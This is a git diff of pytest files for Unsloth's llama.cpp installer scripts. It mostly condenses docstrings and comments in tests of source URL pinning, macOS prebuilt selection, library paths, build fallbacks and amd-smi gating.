-# Bash fragment that exercises PR_FORCE and fixed _LLAMA_SOURCE resolution
-# =========================================================================
+# Bash fragment exercising PR_FORCE and fixed _LLAMA_SOURCE resolution.
 def _bash_resolution_fragment(
     llama_pr: str = "",
     llama_pr_force: str = "",
@@ -159,9 +137,6 @@ def _bash_resolution_fragment(
     """)
 
 
-# =========================================================================
-# TEST GROUP A: Bash PR_FORCE promotion (subprocess)
-# =========================================================================
 class TestBashPrForcePromotion:
     """PR_FORCE promotes to _LLAMA_PR when user hasn't set one."""
 
@@ -233,9 +208,6 @@ class TestBashPrForcePromotion:
         assert "LLAMA_PR=" in r.stdout
 
 
-# =========================================================================
-# TEST GROUP B: Bash fixed mainline source (subprocess)
-# =========================================================================
 class TestBashFixedMainlineSource:
     """Source remains pinned to ggml-org while the temporary policy is active."""
 
@@ -266,9 +238,6 @@ class TestBashFixedMainlineSource:
         assert "LLAMA_SOURCE=https://github.com/ggml-org/llama.cpp" in r.stdout
 
 
-# =========================================================================
-# TEST GROUP C: Bash clone URL parameterization (subprocess with mock git)
-# =========================================================================
 class TestBashCloneUrlParameterized:
     """Verify git clone uses _LLAMA_SOURCE instead of hardcoded URL."""
 
@@ -372,9 +341,6 @@ class TestBashCloneUrlParameterized:
         assert "ggml-org/llama.cpp.git" in log
 
 
-# =========================================================================
-# TEST GROUP D: Static source patterns -- setup.sh
-# =========================================================================
 class TestSourcePatternsSh:
     """Verify setup.sh keeps the temporary mainline-only llama.cpp policy."""
 
@@ -425,7 +391,6 @@ class TestSourcePatternsSh:
 
     def test_clone_urls_parameterized_tag_path(self):
         """Non-PR clone path uses the resolved source URL, not a hardcoded URL."""
-        # Find the non-PR clone line (after _CLONE_ARGS)
         idx = self.content.index("_CLONE_ARGS=(git clone --depth 1)")
         block = self.content[idx : idx + 400]
         assert '"${_RESOLVED_SOURCE_URL}.git"' in block
@@ -439,9 +404,6 @@ class TestSourcePatternsSh:
                 pytest.fail(f"Line {i} has hardcoded ggml-org clone URL: {line.strip()}")
 
 
-# =========================================================================
-# TEST GROUP E: Static source patterns -- setup.ps1
-# =========================================================================
 class TestSourcePatternsPs1:
     """Verify setup.ps1 keeps the temporary mainline-only llama.cpp policy."""
 
@@ -463,8 +425,7 @@ class TestSourcePatternsPs1:
         assert "$LlamaSource = $DefaultLlamaSource" in self.content
 
     def test_release_repo_override_removed(self):
-        # No env-based release-repo override; the repo is chosen by GPU detection
-        # (GPU -> fork, CPU -> ggml-org), mirroring setup.sh.
+        # Repo chosen by GPU detection (GPU -> fork, CPU -> ggml-org), no env override.
         assert "$HelperReleaseRepo = if ($env:UNSLOTH_LLAMA_RELEASE_REPO)" not in self.content
         assert (
             "$HelperReleaseRepo = if ($HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch) "
@@ -508,9 +469,6 @@ class TestSourcePatternsPs1:
                 pytest.fail(f"Line {i} has hardcoded ggml-org clone URL: {line.strip()}")
 
 
-# =========================================================================
-# TEST GROUP F: PowerShell PR_FORCE promotion (subprocess)
-# =========================================================================
 @requires_pwsh
 class TestPwshPrForcePromotion:
     """PR_FORCE promotion and fixed-source logic via pwsh subprocess."""
@@ -560,7 +518,7 @@ class TestPwshPrForcePromotion:
             default_source,
         )
         run_env = {}
-        # Ensure env vars are unset by default
+        # Unset env vars by default.
         run_env["UNSLOTH_LLAMA_PR"] = ""
         run_env["UNSLOTH_LLAMA_PR_FORCE"] = ""
         if env:
diff --git a/tests/studio/install/test_macos_version_compat.py b/tests/studio/install/test_macos_version_compat.py
index 7f93b295eb..a8b57fe3c5 100644
--- a/tests/studio/install/test_macos_version_compat.py
+++ b/tests/studio/install/test_macos_version_compat.py
@@ -1,14 +1,4 @@
-"""Tests for the host-macOS-version-aware llama.cpp prebuilt selection added
-for the Mac "Failing CI" fix.
-
-Covers: parse_macos_version, host_supports_macos_minos, the pure-Python Mach-O
-minimum-OS parser (macho_minimum_macos), the dyld-incompatibility classifier,
-the install preflight that rejects a too-new prebuilt, and the deeper macOS
-release walk-back in resolve_simple_install_release_plans.
-
-No GPU, no network, no torch, no real Mach-O toolchain required -- the Mach-O
-samples are synthesized in-process and all I/O is monkeypatched.
-"""
+"""Host-macOS-version-aware llama.cpp prebuilt selection; Mach-O samples synthesized in-process, all I/O monkeypatched."""
 
 import importlib.util
 import struct
@@ -233,16 +223,13 @@ def _fake_macos_releases(tags):
 
 
 class TestMacosReleasePin:
-    """A known pre-26 macOS host deterministically pins the last upstream release
-    whose prebuilt loads on it (b9415) instead of walking back release by release;
-    macOS 26+ and unknown-version hosts keep normal latest selection with the
-    conservative 2-release default."""
+    """A pre-26 macOS host pins the last upstream release that loads on it (b9415); macOS 26+ and unknown-version hosts use normal latest selection."""
 
     TAGS = [f"b{n}" for n in range(9442, 9400, -1)]  # newest-first, includes b9415
 
     def _patch_releases(self, monkeypatch):
         def fake_iter(repo, published_release_tag, requested_tag):
-            # The real iterator yields only the requested tag when one is pinned.
+            # Real iterator yields only the requested tag when one is pinned.
             if requested_tag and requested_tag != "latest":
                 return _fake_macos_releases([requested_tag])
             return _fake_macos_releases(self.TAGS)
@@ -285,10 +272,7 @@ class TestMacosReleasePin:
 
 
 class TestForwardsBackwardsCompat:
-    """The gate is host >= prebuilt minos with no hardcoded version, so it holds
-    for older and future macOS alike. Emulate the walk-back over a release set
-    spanning several minos tiers and assert each host takes the newest release
-    it can load."""
+    """The gate is host >= prebuilt minos with no hardcoded version; each host takes the newest release it can load across a multi-tier release set."""
 
     # Newest first: future 27 builds, current 26 builds, an old 14 tier, a 13.
     RELEASES = [
diff --git a/tests/studio/install/test_pr4562_bugfixes.py b/tests/studio/install/test_pr4562_bugfixes.py
index 9dfa4e0005..b19c300fec 100644
--- a/tests/studio/install/test_pr4562_bugfixes.py
+++ b/tests/studio/install/test_pr4562_bugfixes.py
@@ -1,17 +1,4 @@
-"""
-Comprehensive tests for PR #4562 bug fixes.
-
-Tests cover:
-  - Bug 1: PS1 detached HEAD on re-run (fetch + checkout -B pattern)
-  - Bug 2: Source-build fallback ignores pinned tag (both .sh and .ps1)
-  - Bug 3: Unix fallback deletes install before checking prerequisites
-  - Bug 4: Linux LD_LIBRARY_PATH missing build/bin
-  - "latest" tag resolution fallback chain (helper only)
-  - Cross-platform binary_env (Linux, macOS, Windows)
-  - Edge cases: malformed JSON, empty responses, env overrides
-
-Run: pytest tests/studio/install/test_pr4562_bugfixes.py -v
-"""
+"""Tests for PR #4562 bug fixes (1-4), latest-tag resolution, and binary_env."""
 
 import importlib.util
 import json
@@ -24,9 +11,6 @@ from pathlib import Path
 
 import pytest
 
-# ---------------------------------------------------------------------------
-# Load the module under test (same pattern as existing test files)
-# ---------------------------------------------------------------------------
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 MODULE_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
 SPEC = importlib.util.spec_from_file_location("studio_install_llama_prebuilt", MODULE_PATH)
@@ -47,11 +31,8 @@ SETUP_SH = PACKAGE_ROOT / "studio" / "setup.sh"
 SETUP_PS1 = PACKAGE_ROOT / "studio" / "setup.ps1"
 
 
-# ---------------------------------------------------------------------------
-# Helpers
-# ---------------------------------------------------------------------------
 def make_host(*, system: str) -> HostInfo:
-    """Create a HostInfo for the given OS."""
+    """HostInfo for the given OS."""
     return HostInfo(
         system = system,
         machine = "x86_64" if system != "Darwin" else "arm64",
@@ -78,7 +59,7 @@ def run_bash(
     timeout: int = 10,
     env: dict | None = None,
 ) -> str:
-    """Run a bash script fragment and return its stdout."""
+    """Run a bash fragment, return stdout."""
     run_env = os.environ.copy()
     if env:
         run_env.update(env)
@@ -95,11 +76,8 @@ def run_bash(
     return result.stdout.strip()
 
 
-# =========================================================================
-# TEST GROUP A: binary_env across all platforms (Bug 4 + cross-platform)
-# =========================================================================
 class TestBinaryEnvCrossPlatform:
-    """Test that binary_env returns correct library paths for all OSes."""
+    """binary_env returns correct library paths for all OSes (Bug 4)."""
 
     def test_linux_includes_binary_parent_in_ld_library_path(
         self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
@@ -163,7 +141,7 @@ class TestBinaryEnvCrossPlatform:
         binary_path = bin_dir / "llama-server"
         binary_path.write_bytes(b"fake")
 
-        # Create real directories so dedupe_existing_dirs keeps them
+        # Real dirs so dedupe_existing_dirs keeps them.
         custom_lib = tmp_path / "custom_lib"
         other_lib = tmp_path / "other_lib"
         custom_lib.mkdir()
@@ -215,13 +193,10 @@ class TestBinaryEnvCrossPlatform:
         dyld_parts = [p for p in env["DYLD_LIBRARY_PATH"].split(os.pathsep) if p]
         assert str(bin_dir) in dyld_parts, f"build/bin not in DYLD_LIBRARY_PATH: {dyld_parts}"
         assert str(install_dir) in dyld_parts, f"install_dir not in DYLD_LIBRARY_PATH: {dyld_parts}"
-        # binary_path.parent (build/bin) should come before install_dir
+        # build/bin must come before install_dir.
         assert dyld_parts.index(str(bin_dir)) < dyld_parts.index(str(install_dir))
 
 
-# =========================================================================
-# TEST GROUP B: resolve_requested_llama_tag (Python function)
-# =========================================================================
 class TestResolveRequestedLlamaTag:
     def test_concrete_tag_passes_through(self):
         assert resolve_requested_llama_tag("b8508") == "b8508"
@@ -383,14 +358,11 @@ class TestFetchJsonRetries:
         assert len(releases) == 200
 
 
-# =========================================================================
-# TEST GROUP C: setup.sh logic (bash subprocess tests)
-# =========================================================================
 class TestSetupShLogic:
-    """Test setup.sh fragments via bash subprocess with controlled PATH."""
+    """setup.sh fragments via bash subprocess with controlled PATH."""
 
     def test_cmake_missing_preserves_install(self, tmp_path: Path):
-        """Bug 3: When cmake is missing, rm -rf should NOT run."""
+        """Bug 3: cmake missing -> rm -rf must NOT run."""
         llama_dir = tmp_path / "llama.cpp"
         llama_dir.mkdir()
         marker = llama_dir / "marker.txt"
@@ -398,11 +370,11 @@ class TestSetupShLogic:
 
         mock_bin = tmp_path / "mock_bin"
         mock_bin.mkdir()
-        # Create mock git but NOT cmake
+        # Mock git but NOT cmake.
         (mock_bin / "git").write_text("#!/bin/bash\nexit 0\n")
         (mock_bin / "git").chmod(0o755)
 
-        # Build PATH: mock_bin first, then system dirs WITHOUT cmake
+        # PATH: mock_bin first, then system dirs without cmake.
         safe_dirs = [str(mock_bin)]
         for d in os.environ.get("PATH", "").split(":"):
             if d and not os.path.isfile(os.path.join(d, "cmake")):
@@ -424,7 +396,7 @@ class TestSetupShLogic:
         assert marker.exists(), "Install dir was deleted despite cmake missing!"
 
     def test_git_missing_preserves_install(self, tmp_path: Path):
-        """Bug 3: When git is missing, rm -rf should NOT run."""
+        """Bug 3: git missing -> rm -rf must NOT run."""
         llama_dir = tmp_path / "llama.cpp"
         llama_dir.mkdir()
         marker = llama_dir / "marker.txt"
@@ -432,11 +404,11 @@ class TestSetupShLogic:
 
         mock_bin = tmp_path / "mock_bin"
         mock_bin.mkdir()
-        # Create mock cmake but NOT git
+        # Mock cmake but NOT git.
         (mock_bin / "cmake").write_text("#!/bin/bash\nexit 0\n")
         (mock_bin / "cmake").chmod(0o755)
 
-        # Build PATH: mock_bin first, then system dirs WITHOUT git
+        # PATH: mock_bin first, then system dirs without git.
         safe_dirs = [str(mock_bin)]
         for d in os.environ.get("PATH", "").split(":"):
             if d and not os.path.isfile(os.path.join(d, "git")):
@@ -458,7 +430,7 @@ class TestSetupShLogic:
         assert marker.exists(), "Install dir was deleted despite git missing!"
 
     def test_both_present_runs_rm_and_clone(self, tmp_path: Path):
-        """Bug 3: When both present, rm -rf runs before clone."""
+        """Bug 3: both present -> rm -rf runs before clone."""
         llama_dir = tmp_path / "llama.cpp"
         llama_dir.mkdir()
         marker = llama_dir / "marker.txt"
@@ -567,11 +539,8 @@ class TestSetupShLogic:
         assert "BuildOk=true" in output
 
 
-# =========================================================================
-# TEST GROUP D: "latest" tag resolution (bash subprocess)
-# =========================================================================
 class TestLatestTagResolution:
-    """Test the fallback chain: helper resolver -> raw."""
+    """Fallback chain: helper resolver -> raw."""
 
     RESOLVE_TEMPLATE = textwrap.dedent("""\
         _REQUESTED_LLAMA_TAG="{requested_tag}"
@@ -643,11 +612,8 @@ class TestLatestTagResolution:
         assert output == "latest"
 
 
-# =========================================================================
-# TEST GROUP E: Source file verification
-# =========================================================================
 class TestSourceCodePatterns:
-    """Verify the actual source files contain the expected fix patterns."""
+    """Verify the source files contain the expected fix patterns."""
 
     def test_setup_sh_no_rm_before_prereq_check(self):
         """rm -rf must appear AFTER cmake/git checks, not before."""
@@ -656,7 +622,6 @@ class TestSourceCodePatterns:
         idx_block = content.find("command -v cmake")
         assert idx_block != -1
         block = content[idx_block:]
-        # rm -rf should appear after the cmake/git checks
         idx_cmake = block.find("command -v cmake")
         idx_git = block.find("command -v git")
         idx_rm = block.find("rm -rf")
@@ -670,7 +635,7 @@ class TestSourceCodePatterns:
         assert (
             '_CLONE_ARGS+=(--branch "$_RESOLVED_SOURCE_REF")' in content
         ), "_CLONE_ARGS should be extended with --branch $_RESOLVED_SOURCE_REF"
-        # Verify the guard: --branch is only used when tag is not "latest"
+        # --branch only when tag is not "latest".
         assert (
             '_RESOLVED_SOURCE_REF" != "latest"' in content
         ), "Should guard against literal 'latest' tag"
@@ -687,18 +652,15 @@ class TestSourceCodePatterns:
         assert "_RESOLVED_SOURCE_REF" in content
 
     def test_setup_sh_prebuilt_install_entrypoint(self):
-        """Shell prebuilt path should call the helper install entrypoint, not the
-        old tag-resolution / releases-latest flow."""
+        """Shell prebuilt path uses the helper install entrypoint, not the old releases-latest flow."""
         content = SETUP_SH.read_text()
         assert "--resolve-install-tag" not in content
         assert "_HELPER_RELEASE_REPO}/releases/latest" not in content
         assert "ggml-org/llama.cpp/releases/latest" not in content
 
     def test_setup_sh_routes_to_fork_only_on_usable_gpu(self):
-        """Linux fork-vs-ggml routing must gate NVIDIA on actual GPU usability,
-        not mere nvidia-smi presence, so CPU-only / hidden-GPU hosts (e.g.
-        CUDA_VISIBLE_DEVICES=-1) get the ggml CPU prebuilt instead of a source
-        build. Guards against a silent revert to the old presence-only loop."""
+        """Linux routing gates NVIDIA on GPU usability, not nvidia-smi presence, so
+        CPU-only/hidden-GPU hosts get the ggml CPU prebuilt. Guards the old presence-only loop."""
         content = SETUP_SH.read_text()
         assert '[ "$_setup_nvidia_usable" = true ]' in content
         assert "CUDA_VISIBLE_DEVICES" in content
@@ -725,36 +687,30 @@ class TestSourceCodePatterns:
         assert "-DCMAKE_BUILD_WITH_INSTALL_RPATH=ON" in content
 
     def test_setup_sh_macos_metal_configure_has_cpu_fallback(self):
-        """If Metal/CUDA/ROCm configure or build fails, setup retries a CPU
-        build. PR #5826 generalised the Metal-only wording via $_FB_LABEL; this
-        check stays label-agnostic so new GPU backends don't require edits."""
+        """GPU configure/build failure retries a CPU build. Stays label-agnostic
+        (PR #5826 generalised the Metal-only wording via $_FB_LABEL)."""
         content = SETUP_SH.read_text()
         assert "_TRY_METAL_CPU_FALLBACK=true" in content
         assert 'configure failed; retrying CPU build..." "$C_WARN"' in content
         assert 'build failed; retrying CPU build..." "$C_WARN"' in content
         assert 'run_quiet_no_exit "cmake llama.cpp (cpu fallback)"' in content
         assert "-DGGML_METAL=OFF" in content
-        # _TRY_METAL_CPU_FALLBACK must be reset to false in both fallback branches
-        # (1 init + 2 resets = at least 3 occurrences of =false)
+        # Reset to false in both fallback branches: 1 init + 2 resets = >=3.
         assert content.count("_TRY_METAL_CPU_FALLBACK=false") >= 3, (
             "_TRY_METAL_CPU_FALLBACK=false should appear at least 3 times "
             "(init + configure fallback + build fallback)"
         )
-        # The fallback helper must exist and Metal must reach it via the
-        # _TRY_METAL_CPU_FALLBACK shortcut so the macOS path stays covered.
+        # Fallback helper must exist and Metal must reach it via the shortcut.
         assert "_gpu_fallback_label()" in content
         assert 'echo "Metal"' in content
 
     def test_setup_sh_exports_allow_unsupported_compiler(self):
-        """Headline fix for PR #5826: a fresh CUDA toolkit's host-compiler
-        whitelist lags the distro gcc/clang, so nvcc rejects the host with
-        "#error -- unsupported GNU version". setup.sh exports
-        NVCC_PREPEND_FLAGS=-allow-unsupported-compiler (via env, not CMAKE_ARGS,
-        for word-splitting safety) so the build and compiler-id probe proceed."""
+        """PR #5826: a fresh CUDA toolkit's host-compiler whitelist lags distro gcc/clang
+        (nvcc "#error -- unsupported GNU version"). setup.sh exports
+        NVCC_PREPEND_FLAGS=-allow-unsupported-compiler via env, not CMAKE_ARGS (word-splitting safety)."""
         content = SETUP_SH.read_text()
         assert "-allow-unsupported-compiler" in content
-        # Delivered via NVCC_PREPEND_FLAGS (covers the configure-time compiler
-        # probe too), not embedded in the word-split CMAKE_ARGS string.
+        # Via NVCC_PREPEND_FLAGS (covers the configure-time probe too), not CMAKE_ARGS.
         assert "export NVCC_PREPEND_FLAGS=" in content
         cmake_args_lines = [line for line in content.splitlines() if "CMAKE_ARGS=" in line]
         assert all(
@@ -762,22 +718,17 @@ class TestSourceCodePatterns:
         ), "flag must stay out of CMAKE_ARGS (bash word-splitting safety)"
 
     def test_setup_ps1_exports_allow_unsupported_compiler(self):
-        """Windows parity for the PR #5826 fix: a fresh CUDA toolkit's whitelist
-        also lags MSVC, so nvcc can reject the host with "#error -- unsupported
-        Microsoft Visual Studio version!". setup.ps1 sets
-        NVCC_PREPEND_FLAGS=-allow-unsupported-compiler in the CUDA branch (via
-        env, out of $CmakeArgs) so the configure probe + build proceed."""
+        """Windows parity for PR #5826: CUDA toolkit whitelist lags MSVC. setup.ps1 sets
+        NVCC_PREPEND_FLAGS=-allow-unsupported-compiler in the CUDA branch via env, out of $CmakeArgs."""
         content = SETUP_PS1.read_text()
         assert "-allow-unsupported-compiler" in content
-        # Delivered via the process environment, not the $CmakeArgs array, so it
-        # reaches both the configure-time compiler probe and `cmake --build`.
+        # Via process env, not $CmakeArgs, so it reaches both the configure probe and `cmake --build`.
         assert "$env:NVCC_PREPEND_FLAGS" in content
         cmake_args_lines = [line for line in content.splitlines() if "$CmakeArgs +=" in line]
         assert all(
             "-allow-unsupported-compiler" not in line for line in cmake_args_lines
         ), "flag must not be pushed into the $CmakeArgs array"
-        # Must be scoped to the CUDA branch (guarded by the GPU/nvcc check),
-        # not set unconditionally for CPU-only builds.
+        # Must be scoped to the CUDA branch, not set for CPU-only builds.
         flag_idx = content.index("-allow-unsupported-compiler")
         cuda_guard_idx = content.index("if ($HasNvidiaSmi -and $NvccPath)")
         cuda_disable_idx = content.index("'-DGGML_CUDA=OFF'")
@@ -826,27 +777,24 @@ class TestSourceCodePatterns:
         """PS1 clone should use --branch with the resolved tag."""
         content = SETUP_PS1.read_text()
         assert "--branch" in content and "$ResolvedSourceRef" in content
-        # The old commented-out line should be gone
+        # The old commented-out clone line should be gone.
         assert "# git clone --depth 1 --branch" not in content
 
     def test_setup_ps1_no_git_pull(self):
         """PS1 should use fetch, not pull (which fails in detached HEAD)."""
         content = SETUP_PS1.read_text()
-        # In the source-build section, there should be no "git pull"
-        # (git pull is only valid on a branch)
+        # No "git pull" in the source-build section (only valid on a branch).
         lines = content.splitlines()
         for i, line in enumerate(lines):
             stripped = line.strip()
             if "git pull" in stripped and not stripped.startswith("#"):
-                # Check context -- should not be in the llama.cpp build section
-                # Allow git pull in other contexts
+                # Allowed elsewhere; fail only in the llama.cpp build section.
                 context = "\n".join(lines[max(0, i - 5) : i + 5])
                 if "LlamaCppDir" in context:
                     pytest.fail(f"Found 'git pull' in llama.cpp build section at line {i+1}")
 
     def test_setup_ps1_prebuilt_install_entrypoint(self):
-        """PS1 prebuilt path should call the helper install entrypoint, not the
-        old tag-resolution / releases-latest flow."""
+        """PS1 prebuilt path uses the helper install entrypoint, not the old releases-latest flow."""
         content = SETUP_PS1.read_text()
         assert "--resolve-install-tag" not in content
         assert "$HelperReleaseRepo/releases/latest" not in content
@@ -909,7 +857,6 @@ class TestSourceCodePatterns:
     def test_binary_env_linux_has_binary_parent(self):
         """The Linux branch of binary_env should include binary_path.parent."""
         content = MODULE_PATH.read_text()
-        # Find the binary_env function
         in_func = False
         in_linux = False
         found = False
@@ -926,12 +873,8 @@ class TestSourceCodePatterns:
         assert found, "binary_path.parent not found in Linux branch of binary_env"
 
 
-# =========================================================================
-# TEST GROUP F: macOS Metal build logic (bash subprocess tests)
-# =========================================================================
-
-# Minimal bash fragment that mirrors setup.sh's GPU backend decision chain.
-# Variables _IS_MACOS_ARM64, NVCC_PATH, GPU_BACKEND are injected by tests.
+# Bash fragment mirroring setup.sh's GPU backend decision chain.
+# _IS_MACOS_ARM64, NVCC_PATH, GPU_BACKEND are injected by tests.
 _GPU_BACKEND_FRAGMENT = textwrap.dedent("""\
     CMAKE_ARGS="-DLLAMA_BUILD_TESTS=OFF"
     _TRY_METAL_CPU_FALLBACK=false
@@ -961,7 +904,7 @@ _GPU_BACKEND_FRAGMENT = textwrap.dedent("""\
 
 
 class TestMacOSMetalBuildLogic:
-    """Behavioral bash subprocess tests for the Metal GPU backend logic."""
+    """Behavioral bash tests for the Metal GPU backend logic."""
 
     def test_macos_arm64_cmake_args_contain_metal_flags(self):
         """macOS arm64 should enable Metal, not CUDA."""
@@ -994,7 +937,7 @@ class TestMacOSMetalBuildLogic:
         mock_bin = tmp_path / "mock_bin"
         mock_bin.mkdir()
         calls_file = tmp_path / "cmake_calls.log"
-        # cmake that logs args and fails on first call (Metal), succeeds on second (CPU fallback)
+        # cmake logs args; fails first call (Metal), succeeds second (CPU fallback).
         cmake_script = mock_bin / "cmake"
         cmake_script.write_text(
             textwrap.dedent(f"""\
@@ -1056,7 +999,7 @@ class TestMacOSMetalBuildLogic:
             "TRY_METAL_CPU_FALLBACK=false" in output
         ), "Fallback flag should be reset to false after configure fallback"
 
-        # Verify cmake args: first call has Metal ON, second has Metal OFF
+        # First cmake call has Metal ON, second has Metal OFF.
         calls = calls_file.read_text().splitlines()
         assert len(calls) >= 2, f"Expected >= 2 cmake calls, got {len(calls)}"
         assert "-DGGML_METAL=ON" in calls[0], f"First cmake call should have Metal ON: {calls[0]}"
@@ -1076,7 +1019,7 @@ class TestMacOSMetalBuildLogic:
         mock_bin = tmp_path / "mock_bin"
         mock_bin.mkdir()
         calls_file = tmp_path / "cmake_calls.log"
-        # cmake mock: configure always succeeds; first --build fails, rest succeed
+        # cmake mock: configure always succeeds; first --build fails, rest succeed.
         cmake_script = mock_bin / "cmake"
         cmake_script.write_text(
             textwrap.dedent(f"""\
@@ -1164,14 +1107,11 @@ class TestMacOSMetalBuildLogic:
             "TRY_METAL_CPU_FALLBACK=false" in output
         ), "Fallback flag should be reset to false after build fallback"
 
-        # Verify: configure with Metal ON, build fails, re-configure with Metal OFF, rebuild
+        # configure (Metal ON), build (fails), re-configure (Metal OFF), rebuild.
         calls = calls_file.read_text().splitlines()
         assert len(calls) >= 4, f"Expected >= 4 cmake calls, got {len(calls)}: {calls}"
-        # First call: configure with Metal ON
         assert "-DGGML_METAL=ON" in calls[0]
-        # Second call: build (fails)
         assert "--build" in calls[1]
-        # Third call: re-configure with Metal OFF and no RPATH flags
         assert "-DGGML_METAL=OFF" in calls[2]
         assert "-DGGML_METAL=ON" not in calls[2]
         assert "@loader_path" not in calls[2], f"CPU fallback should not have RPATH: {calls[2]}"
@@ -1181,5 +1121,4 @@ class TestMacOSMetalBuildLogic:
         assert (
             "-DLLAMA_BUILD_TESTS=OFF" in calls[2]
         ), f"CPU fallback should preserve baseline flags: {calls[2]}"
-        # Fourth call: rebuild (succeeds)
         assert "--build" in calls[3]
diff --git a/tests/studio/install/test_pr5940_followups.py b/tests/studio/install/test_pr5940_followups.py
index 583532eb74..9b739272b1 100644
--- a/tests/studio/install/test_pr5940_followups.py
+++ b/tests/studio/install/test_pr5940_followups.py
@@ -1,14 +1,9 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
 
-"""Tests for the AMD-Windows installer follow-ups (PR #5940):
-
-  * the huggingface_hub validation-model fetch + its urllib fallback,
-  * run_capture's Windows-only amd-smi __COMPAT_LAYER=RunAsInvoker injection,
-  * parity of the name->arch table between install.ps1 and setup.ps1.
-
-Mock-only; no AMD hardware or network required.
-"""
+"""AMD-Windows installer follow-ups (PR #5940): hf-hub validation-model fetch
++ urllib fallback, amd-smi RunAsInvoker injection, name->arch table parity.
+Mock-only; no AMD hardware or network required."""
 
 import importlib.util
 import re
@@ -21,8 +16,7 @@ import pytest
 
 PACKAGE_ROOT = Path(__file__).resolve().parents[3]
 
-# install_llama_prebuilt.py is self-contained (stdlib + optional filelock), so it
-# loads without the studio backend on sys.path.
+# install_llama_prebuilt.py is self-contained, so it loads without the studio backend.
 _PREBUILT_PATH = PACKAGE_ROOT / "studio" / "install_llama_prebuilt.py"
 _SPEC = importlib.util.spec_from_file_location(
     "studio_install_llama_prebuilt_pr5940", _PREBUILT_PATH
@@ -151,8 +145,7 @@ def test_radeon_8060s_resolves_to_gfx1151():
 
 
 def _sh_name_arch_rows(text, var = "_gpu_disp_gfx"):
-    """Parse a bash `case "$..._mkt" in ... ) <var>="gfxNNNN"` name->arch
-    table into [(substr_tokens, arch), ...] preserving order."""
+    """Parse a bash name->arch case table into ordered [(substr_tokens, arch), ...]."""
     rows = []
     for line in text.splitlines():
         m = re.search(var + r'="(gfx[0-9a-z]+)"', line)
@@ -172,9 +165,8 @@ def _sh_resolve(rows, name):
 
 
 def test_install_sh_name_arch_agrees_with_ps_for_strix_and_non_amd():
-    """The bash install.sh name->arch table must agree with the PowerShell
-    source-of-truth for the Strix Halo (gfx1151) vs Strix Point (gfx1150)
-    split, and must never misclassify NVIDIA/Intel as an AMD gfx."""
+    """install.sh name->arch table must match the PowerShell source on the Strix
+    Halo/Point split and never misclassify NVIDIA/Intel as an AMD gfx."""
     sh_rows = _sh_name_arch_rows(_INSTALL_SH.read_text(encoding = "utf-8"))
     ps_rows = _ps_name_arch_rows(_INSTALL_PS1.read_text(encoding = "utf-8"))
     assert sh_rows, "no name->arch case table found in install.sh"
@@ -196,9 +188,8 @@ def test_install_sh_name_arch_agrees_with_ps_for_strix_and_non_amd():
 
 
 def test_setup_sh_name_arch_table_in_sync_with_install_sh():
-    """studio/setup.sh keeps its own copy of the bash name->arch table (over
-    `_setup_gfx`); it must stay row-for-row identical to install.sh's, both in
-    tokens and in match order (order carries the RX 7700S -> gfx1102 rule)."""
+    """studio/setup.sh's name->arch table must stay row-for-row identical to
+    install.sh's (order carries the RX 7700S -> gfx1102 rule)."""
     install_rows = _sh_name_arch_rows(_INSTALL_SH.read_text(encoding = "utf-8"))
     setup_rows = _sh_name_arch_rows(
         (PACKAGE_ROOT / "studio" / "setup.sh").read_text(encoding = "utf-8"),
@@ -209,8 +200,7 @@ def test_setup_sh_name_arch_table_in_sync_with_install_sh():
         "bash name->arch tables drifted:\n"
         f"install.sh={install_rows}\nstudio/setup.sh={setup_rows}"
     )
-    # The historical drift this guards against: Strix Point SKUs must be
-    # gfx1150, and the spaceless RX 7700S must match gfx1102 before gfx1100.
+    # Guards historical drift: Strix Point -> gfx1150, RX 7700S -> gfx1102 (before gfx1100).
     for name, expect in {
         "AMD Radeon 890M Graphics": "gfx1150",
         "AMD Ryzen AI 9 HX 370 w/ Radeon 890M": "gfx1150",
@@ -222,9 +212,8 @@ def test_setup_sh_name_arch_table_in_sync_with_install_sh():
 
 
 # ── amd-smi gating (DiskPart UAC-prompt avoidance) ───────────────────────────
-# On Windows w/o a HIP SDK, amd-smi elevates and pops a UAC/DiskPart prompt
-# RunAsInvoker can't suppress, so _amd_smi_allowed() skips it by default;
-# HIP-SDK hosts and an explicit opt-in keep it.
+# On Windows w/o a HIP SDK, amd-smi pops a UAC/DiskPart prompt RunAsInvoker
+# can't suppress, so _amd_smi_allowed() skips it unless HIP-SDK or opt-in.
 
 
 def _amd_smi_allowed_under(system, hipinfo_present, env):
@@ -242,7 +231,7 @@ def _amd_smi_allowed_under(system, hipinfo_present, env):
 
 
 def test_amd_smi_allowed_on_linux_regardless():
-    # Linux amd-smi does not elevate -> always allowed (no regression on Linux).
+    # Linux amd-smi does not elevate -> always allowed.
     assert _amd_smi_allowed_under("Linux", hipinfo_present = False, env = {}) is True
 
 
@@ -252,8 +241,7 @@ def test_amd_smi_skipped_on_windows_without_hip_sdk():
 
 
 def test_amd_smi_allowed_on_windows_with_hip_sdk():
-    # hipinfo present => amd-smi runs un-elevated, so it is allowed (no regression
-    # for HIP-SDK Windows users, who never saw the prompt).
+    # hipinfo present => amd-smi runs un-elevated, so it is allowed.
     assert _amd_smi_allowed_under("Windows", hipinfo_present = True, env = {}) is True
 
 
@@ -274,8 +262,7 @@ def test_amd_smi_opt_out_overrides_hip_sdk():
 
 
 def test_ps_installers_gate_amd_smi_on_windows():
-    # Both PowerShell installers must gate amd-smi behind HIP-SDK presence + the
-    # UNSLOTH_ENABLE_AMD_SMI opt-in, mirroring _amd_smi_allowed().
+    # Both PowerShell installers must gate amd-smi like _amd_smi_allowed().
     for ps in (_INSTALL_PS1, _SETUP_PS1):
         text = ps.read_text(encoding = "utf-8")
         assert "UNSLOTH_ENABLE_AMD_SMI" in text, f"{ps.name} missing amd-smi opt-in gate"
@@ -283,17 +270,15 @@ def test_ps_installers_gate_amd_smi_on_windows():
 
 
 def test_install_python_stack_gates_every_amd_smi_spawn():
-    # Regression for the DiskPart UAC prompt: every function that both names the
-    # `amd-smi` command AND spawns a subprocess must gate it behind
-    # _amd_smi_allowed(). The "ROCm torch missing" probe once spawned `amd-smi
-    # list` ungated on Adrenalin-only hosts; not-spawning is the only fix.
+    # Regression for the DiskPart UAC prompt: every function naming `amd-smi`
+    # AND spawning a subprocess must gate it behind _amd_smi_allowed().
     import ast
 
